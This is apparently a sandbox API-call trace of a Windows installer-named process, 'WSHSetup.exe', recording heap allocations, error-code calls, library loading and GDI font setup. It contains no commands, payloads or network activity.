	[0047.317] GetLastError () returned 0x0
	[0047.317] SetLastError (dwErrCode=0x0) 
	[0047.317] GetLastError () returned 0x0
	[0047.317] SetLastError (dwErrCode=0x0) 
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x94) returned 0x2c417a0
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1f) returned 0x2c41840
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x28) returned 0x2c41868
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x37) returned 0x2c41898
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x3c) returned 0x2c418d8
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x31) returned 0x2c41920
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x14) returned 0x2c41960
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x24) returned 0x2c41980
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xd) returned 0x2c419b0
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x17) returned 0x2c419c8
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x2b) returned 0x2c419e8
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x15) returned 0x2c41a20
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x17) returned 0x2c41a40
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x22) returned 0x2c41a60
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xe) returned 0x2c41a90
	[0047.317] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xc1) returned 0x2c41aa8
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x3e) returned 0x2c41b78
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1b) returned 0x2c41bc0
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1d) returned 0x2c41be8
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x48) returned 0x2c41c10
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x12) returned 0x2c41c60
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x18) returned 0x2c41c80
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1b) returned 0x2c41ca0
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x24) returned 0x2c41cc8
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x29) returned 0x2c41cf8
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1e) returned 0x2c41d30
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x6b) returned 0x2c41d58
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x17) returned 0x2c41dd0
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0xf) returned 0x2c41df0
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x16) returned 0x2c41e08
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x28) returned 0x2c41e28
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x27) returned 0x2c41e58
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x12) returned 0x2c41e88
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x21) returned 0x2c41ea8
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x10) returned 0x2c41ed8
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x1c) returned 0x2c41ef0
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x12) returned 0x2c41f18
	[0047.318] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c40fd0 | out: hHeap=0x2c40000) returned 1
	[0047.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x80) returned 0x2c41f38
	[0047.319] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0047.319] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x8, Size=0x800) returned 0x2c41fc0
	[0047.319] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0047.319] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xaf2450) returned 0x0
	[0047.319] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.319] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.320] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.320] GetVersionExA (in: lpVersionInformation=0xf3f720*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xf3f720*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0047.320] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.320] GetLastError () returned 0x0
	[0047.320] SetLastError (dwErrCode=0x0) 
	[0047.320] GetLastError () returned 0x0
	[0047.320] SetLastError (dwErrCode=0x0) 
	[0047.320] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.321] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.321] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.321] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c40fd0
	[0047.321] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c41128
	[0047.321] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c41280
	[0047.321] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c413d8
	[0047.321] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.321] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.322] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.322] GetLastError () returned 0x0
	[0047.322] SetLastError (dwErrCode=0x0) 
	[0047.322] GetLastError () returned 0x0
	[0047.322] SetLastError (dwErrCode=0x0) 
	[0047.322] GetLastError () returned 0x0
	[0047.322] SetLastError (dwErrCode=0x0) 
	[0047.322] GetLastError () returned 0x0
	[0047.322] SetLastError (dwErrCode=0x0) 
	[0047.322] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.322] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x50) returned 0x2c427c8
	[0047.322] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.323] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.323] RtlSizeHeap (HeapHandle=0x2c40000, Flags=0x0, MemoryPointer=0x2c41f38) returned 0x80
	[0047.323] GetLastError () returned 0x0
	[0047.323] SetLastError (dwErrCode=0x0) 
	[0047.323] GetLastError () returned 0x0
	[0047.323] SetLastError (dwErrCode=0x0) 
	[0047.323] GetLastError () returned 0x0
	[0047.323] SetLastError (dwErrCode=0x0) 
	[0047.323] GetLastError () returned 0x0
	[0047.323] SetLastError (dwErrCode=0x0) 
	[0047.323] GetLastError () returned 0x0
	[0047.323] SetLastError (dwErrCode=0x0) 
	[0047.323] GetLastError () returned 0x0
	[0047.323] SetLastError (dwErrCode=0x0) 
	[0047.323] GetLastError () returned 0x0
	[0047.323] SetLastError (dwErrCode=0x0) 
	[0047.323] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.324] SetLastError (dwErrCode=0x0) 
	[0047.324] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.325] SetLastError (dwErrCode=0x0) 
	[0047.325] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetModuleFileNameA (in: hModule=0xa60000, lpFilename=0xf3f5e4, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\WSHSetup.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wshsetup.exe")) returned 0x24
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.326] GetLastError () returned 0x0
	[0047.326] SetLastError (dwErrCode=0x0) 
	[0047.327] LoadLibraryA (lpLibFileName="Riched20.dll") returned 0x733e0000
	[0047.840] CoInitialize (pvReserved=0x0) returned 0x0
	[0048.310] OleInitialize (pvReserved=0x0) returned 0x0
	[0048.311] CoInitialize (pvReserved=0x0) returned 0x1
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4f4) returned 0x2c42820
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c42d20
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c42e78
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c42fd0
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c43128
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c43280
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c433d8
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c43530
	[0048.311] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x14c) returned 0x2c43688
	[0048.311] GetStockObject (i=17) returned 0xa01c1
	[0048.312] GetObjectA (in: h=0xa01c1, c=60, pv=0xf3f674 | out: pv=0xf3f674) returned 60
	[0048.312] CreateFontIndirectA (lplf=0xf3f674) returned 0x330a052a
	[0048.312] GetLastError () returned 0x0
	[0048.312] SetLastError (dwErrCode=0x0) 
	[0048.312] CreatePen (iStyle=0, cWidth=1, color=0xdc) returned 0xd3007fb
	[0048.312] InitCommonControls () 
	[0048.312] LoadLibraryA (lpLibFileName="msimg32.dll") returned 0x73370000
	[0048.762] GetModuleHandleA (lpModuleName=0x0) returned 0xa60000
	[0048.762] GetFocus () returned 0x0
	[0048.762] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c437e0
	[0048.763] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.764] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c437f8
	[0048.764] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.764] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c43810
	[0048.764] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.764] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c43828
	[0048.764] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.764] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c43840
	[0048.764] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.764] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c43858
	[0048.764] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.765] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c43870
	[0048.765] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.765] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c43888
	[0048.765] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.765] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c438a0
	[0048.765] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.765] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c438b8
	[0048.765] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.765] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c438d0
	[0048.765] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.765] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c438e8
	[0048.765] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.765] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c43900
	[0048.765] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="À", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.765] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c404a0
	[0048.767] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="HhÄ\x020\x15Ä\x02J\x01Æ", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.767] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46a20
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c469c0
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46a08
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46a38
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c468a0
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c469d8
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46900
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c468b8
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46948
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c468e8
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46978
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.768] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c468d0
	[0048.768] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46930
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46870
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c469a8
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46888
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46918
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46960
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46990
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c469f0
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46fe8
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.769] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x9) returned 0x2c46f40
	[0048.769] Escape (in: hdc=0x0, iEscape=19, cjIn=5, pvIn="", pvOut=0x0 | out: pvOut=0x0) returned 0
	[0048.770] CheckMenuRadioItem (hmenu=0x0, first=0xdb, last=0x0, check=0x0, flags=0x0) returned 0
	[0048.771] SnmpGetPduData (PDU=0x0, PDU_type=0x0, request_id=0x0, error_status=0x0, error_index=0x0, varbindlist=0x0) returned 0x0
	[0048.771] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0
	[0048.772] SetFocus (hWnd=0x0) returned 0x0
	[0048.772] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0
	[0048.772] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0
	[0048.772] SetWindowTextA (hWnd=0x0, lpString="") returned 0
	[0048.772] SetWindowTextA (hWnd=0x0, lpString="") returned 0
	[0048.772] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1000) returned 0x2c47258
	[0048.772] GetLastError () returned 0x578
	[0048.772] CreateSolidBrush (color=0xdb) returned 0x5c10064d
	[0048.773] GetDC (hWnd=0x0) returned 0x60100ce
	[0048.773] GetWindowRect (in: hWnd=0x0, lpRect=0xf3ec30 | out: lpRect=0xf3ec30) returned 0
	[0048.773] BeginPaint (in: hWnd=0x0, lpPaint=0xf3ebc0 | out: lpPaint=0xf3ebc0) returned 0x0
	[0048.773] CreateFontA (cHeight=0, cWidth=0, cEscapement=0, cOrientation=0, cWeight=700, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x8, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x52, pszFaceName="Ultra Bold") returned 0x1e0a0640
	[0048.773] SelectObject (hdc=0x0, h=0x1e0a0640) returned 0x0
	[0048.773] SetTextColor (hdc=0x0, color=0xffffff) returned 0xffffffff
	[0048.773] DeleteObject (ho=0x1e0a0640) returned 1
	[0048.780] SystemParametersInfoA (in: uiAction=0x29, uiParam=0x158, pvParam=0xf3ea40, fWinIni=0x0 | out: pvParam=0xf3ea40) returned 1
	[0048.787] CreateFontIndirectA (lplf=0xf3ea04) returned 0x7a0a0667
	[0048.787] EndPaint (hWnd=0x0, lpPaint=0xf3ebc0) returned 0
	[0048.788] GetModuleHandleA (lpModuleName=0x0) returned 0xa60000
	[0048.788] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.788] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.788] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.788] GetLastError () returned 0x578
	[0048.788] SetLastError (dwErrCode=0x578) 
	[0048.788] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.788] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.788] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.788] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.788] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c41530
	[0048.788] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.790] GetLastError () returned 0x57
	[0048.790] SetLastError (dwErrCode=0x57) 
	[0048.790] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.790] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c404b8
	[0048.790] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404c8
	[0048.790] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.790] GetLastError () returned 0x57
	[0048.790] SetLastError (dwErrCode=0x57) 
	[0048.790] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c404b8
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404c8 | out: hHeap=0x2c40000) returned 1
	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404c8
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x8) returned 0x2c404b8
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.791] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.791] GetLastError () returned 0x57
	[0048.791] SetLastError (dwErrCode=0x57) 
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404c8 | out: hHeap=0x2c40000) returned 1
	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404c8
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.791] GetLastError () returned 0x57
	[0048.791] SetLastError (dwErrCode=0x57) 
	[0048.791] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.791] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404c8 | out: hHeap=0x2c40000) returned 1
